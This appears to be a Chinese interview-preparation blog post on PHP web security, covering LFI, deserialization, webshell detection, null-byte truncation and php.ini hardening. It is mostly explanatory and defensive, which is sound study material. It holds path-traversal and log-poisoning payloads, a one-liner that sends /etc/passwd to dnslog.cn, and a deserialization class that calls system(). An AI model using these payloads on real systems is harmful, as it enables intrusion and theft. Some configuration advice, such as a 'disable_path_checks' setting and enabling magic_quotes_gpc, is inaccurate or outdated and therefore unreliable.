2025年常见渗透测试面试题- PHP考察(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

PHP考察

一、PHP LFI本地包含漏洞

1. 漏洞原理

2. 手工挖掘技巧

3. 无回显渗透方法

二、PHP反序列化漏洞

1. 漏洞原理

2. 攻击案例

3. 防御方案

三、PHP Webshell检测方法

1. 静态检测

2. 动态检测

3. 机器学习方案

四、PHP %00截断原理

1. 技术背景

2. 防御措施

五、php.ini 安全配置

1. 关键参数设置

2. 深度防御策略

六、PHP错误抑制方法

1. 多层级控制

2. 安全审计建议

扩展防御体系

PHP考察

php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?

php反序列化漏洞的原理?解决方案?

php webshell检测,有哪些方法

php的%00截断的原理是什么?

php.ini可以设置哪些安全特性

php里面有哪些方法可以不让错误回显?

一、PHP LFI本地包含漏洞

1. 漏洞原理
  1. 动态包含机制
    使用include/require等函数加载用户可控参数(如$_GET['page']),当未对输入进行过滤时,可包含任意本地文件
    php// 漏洞代码示例 $page = $_GET['page']; include($page . '.php');
  2. 攻击向量扩展
    • 路径遍历:../../etc/passwd
    • PHP伪协议:php://filter/convert.base64-encode/resource=config.php
    • 日志注入:包含access.log 并通过User-Agent插入PHP代码
  3. 特殊场景利用
    • allow_url_include=On时远程包含
    • 配合文件上传实现代码执行
  4. 新版PHP限制
    PHP 7.4+默认禁用null字节截断,但仍可通过长路径截断(需php.inidisable_path_checks=Off
2. 手工挖掘技巧
  1. 参数探测
    使用Burp Intruder测试以下payload:
    http/index.php?page=../../../etc/passwd%00 /index.php?page=php://filter/resource=/proc/self/environ 
  2. 错误信息利用
    触发包含不存在的文件,通过报错信息判断服务器路径结构
  3. 时间盲注技术
    包含/dev/random导致响应延迟,验证漏洞存在性
  4. 日志污染检测
    修改User-Agent为<?php phpinfo();?>,再包含/var/log/apache2/access.log
3. 无回显渗透方法
  1. DNS外带数据
    通过php://filter/convert.base64-encode/resource= 编码文件内容,利用DNS查询外传:
    php<?php file_get_contents('http://dnslog.cn/?'.base64_encode(file_get_contents('/etc/passwd')));?> 
  2. 延时判断
    包含/dev/zero/dev/urandom观察响应时间差异
  3. SMB中继攻击
    利用file://协议读取Windows共享文件
  4. 内存马注入
    通过包含.htaccess修改PHP配置植入后门

二、PHP反序列化漏洞

1. 漏洞原理
  1. 序列化结构解析
    PHP序列化格式示例:
    phpO:4:"User":2:{s:4:"name";s:5:"admin";s:6:"isAdmin";b:1;}
  2. 魔术方法触发链
    • __wakeup():反序列化时自动执行
    • __destruct():对象销毁时触发
    • __toString():对象被当作字符串处理时调用
  3. POP链构造
    组合多个类的魔术方法形成攻击链,典型如Laravel反序列化漏洞(CVE-2021-3129)
2. 攻击案例
phpclass Exploit { private $cmd = 'id'; public function __destruct() { system($this->cmd); } } $data = serialize(new Exploit()); // 发送$data到存在漏洞的接口
3. 防御方案
  1. 输入白名单校验
    使用json_decode()代替unserialize()
  2. 签名验证机制
    ph$data = $_POST['data']; $sign = $_POST['sign']; if (hash_hmac('sha256', $data, $secret_key) === $sign) { unserialize($data); }
  3. 类型限制
    通过allowed_classes限制反序列化类:
    phpunserialize($data, ['allowed_classes' => ['SafeClass']]);
  4. HIDS监控
    部署主机入侵检测系统,监控unserialize()调用栈

三、PHP Webshell检测方法

1. 静态检测
  1. 特征码扫描
    使用正则表达式匹配危险函数:
    php/(eval|system|shell_exec|passthru)\(.*\)/i
  2. 抽象语法树分析
    利用PHP-Parser生成AST,检测可疑调用链
  3. 熵值检测
    计算文件信息熵,识别经过混淆的加密webshell
  4. 时间戳校验
    对比文件创建时间与版本管理系统记录
2. 动态检测
  1. 行为监控
    监控proc_opencurl_exec等敏感函数调用
  2. 沙箱执行
    在隔离环境中运行文件,记录系统调用
  3. 流量分析
    检测异常HTTP请求特征,如长连接、非常规端口通信
3. 机器学习方案
  1. N-gram模型
    提取操作码(opcode)序列训练分类器
  2. 深度学习检测
    使用LSTM网络分析代码上下文语义
  3. 图神经网络
    构建函数调用关系图进行异常节点识别

四、PHP %00截断原理

1. 技术背景
  1. C语言字符串特性
    NULL字节(0x00)作为字符串终止符
  2. 历史漏洞场景
    • 文件上传绕过:shell.php%00.jpg
    • 路径截断:/var/www/images/../../etc/passwd%00
  3. 版本差异
    PHP <5.3.4允许magic_quotes_gpc=Off时利用
2. 防御措施
  1. PHP配置加固
    inimagic_quotes_gpc = On
  2. 输入过滤
    php$filename = str_replace(chr(0), '', $_GET['file']);
  3. 白名单校验
    php$allowed_ext = ['jpg', 'png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allowed_ext)) die('Invalid file');

五、php.ini 安全配置

1. 关键参数设置
inidisable_functions = exec,passthru,shell_exec,system,proc_open,popen open_basedir = /var/www/html/ allow_url_include = Off expose_php = Off session.cookie_httponly = 1
2. 深度防御策略
  1. 资源限制
    inimax_execution_time = 30 memory_limit = 128M upload_max_filesize = 2M
  2. 错误处理
    inidisplay_errors = Off log_errors = On error_log = /var/log/php_errors.log 
  3. HTTPS强制
    inisession.cookie_secure = 1

六、PHP错误抑制方法

1. 多层级控制
  1. 运行时配置
    phperror_reporting(0); ini_set('display_errors', 0);
  2. 操作符抑制
    php@file_get_contents('unexist.file'); 
  3. 异常捕获
    phptry { riskyOperation(); } catch (Exception $e) { log_error($e->getMessage()); }
  4. 自定义处理器
  5. php
  6. set_error_handler(function($errno, $errstr) { syslog(LOG_ERR, "[PHP Error] $errstr"); return true; // 阻止默认处理 });
2. 安全审计建议
  1. 日志分级存储
    区分DEBUG日志与生产环境日志
  2. 敏感信息过滤
    在日志记录前脱敏数据库密码等关键信息
  3. 日志轮转策略
    使用logrotate定期压缩归档,设置访问权限

扩展防御体系

  1. WAF集成
    部署ModSecurity规则,拦截包含../php://等恶意请求
  2. RASP防护
    安装PHP扩展实时监控危险函数调用
  3. 静态分析工具链
    整合PHPStan、Psalm进行代码审计
  4. 容器化部署
    使用Docker限制PHP进程权限:
    dockerfileRUN adduser --disabled-password --no-create-home phpuser USER phpuser
  5. 持续安全监测
    定期使用OpenVAS、Nessus进行漏洞扫描
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值